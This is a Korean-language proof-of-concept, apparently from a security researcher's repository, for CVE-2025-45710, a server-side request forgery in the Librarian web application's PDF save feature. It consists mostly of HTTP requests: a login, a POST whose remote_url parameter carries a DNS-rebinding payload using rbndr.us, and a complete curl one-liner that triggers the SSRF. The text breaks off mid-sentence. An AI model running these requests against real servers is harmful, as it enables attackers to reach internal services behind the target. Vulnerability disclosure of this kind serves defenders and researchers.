partywavesec/cve-2025-45710CVE-2025-45710
자세한 내용은 다음에서 확인하세요. https://www.partywave.site CVE-2024-54819 관련
이는 작성 당시 사용 가능한 웹 서비스를 사용한 예시일 뿐입니다.
host NAMEHEXA.NAMEHEXB.rbndr.us # IP A
host NAMEHEXA.NAMEHEXB.rbndr.us # IP A
host NAMEHEXA.NAMEHEXB.rbndr.us # IP B
....
공격자는 로그인되어 있어야 합니다.
POST /librarian/index.php/authentication HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
[removed ...]
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Client-Width: 1920
X-Requested-With: XMLHttpRequest
Content-Length: 110
Origin: http://127.0.0.1
Connection: keep-alive
Referer: http://127.0.0.1/librarian/
Cookie: IL=[LIBRARIAN COOKIE] # 예: IL=poscnjta68n2691tehd5gt9k9e
[removed ...]
username=[USERNAME]&password=[PASSWORD]&csrfToken=[CSRF_TOKEN]
remote_url 파라미터는 취약한 검증으로 인해 취약합니다.
POST /librarian/index.php/pdf/save HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
[removed ...]
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Client-Width: 1920
X-Requested-With: XMLHttpRequest
Content-Length: 135
Origin: http://127.0.0.1
Connection: keep-alive
Referer: http://127.0.0.1/librarian/index.php/item
Cookie: IL=[LIBRARIAN COOKIE] # 예: IL=9eb3bba4c54177fcb9bff0e90ab7a94c
[removed ...]
remote_url=[REBINDER_PAYLOAD]&id=[PDF_ID]&csrfToken=[CSRF_TOKEN]
다음 원라이너는 서버 측 요청 위조를 악용하기 위한 예시 값이 포함된 예제입니다.
curl -X POST http://127.0.0.1/librarian/index.php/pdf/save -H "Content-Type: application/x-www-form-urlencoded" -H "Cookie: IL=9eb3bba4c54177fcb9bff0e90ab7a94c" --data-urlencode "remote_url=http://0a00020f.c0a80001.rbndr.us:6565" --data-urlencode "id=1" --data-urlencode "csrfToken=55ec3f2fb1d91c2900db66997079e204360636359681cc9f9900179fb0c58f59" --proxy http://127.0.0.1:8080
그리고
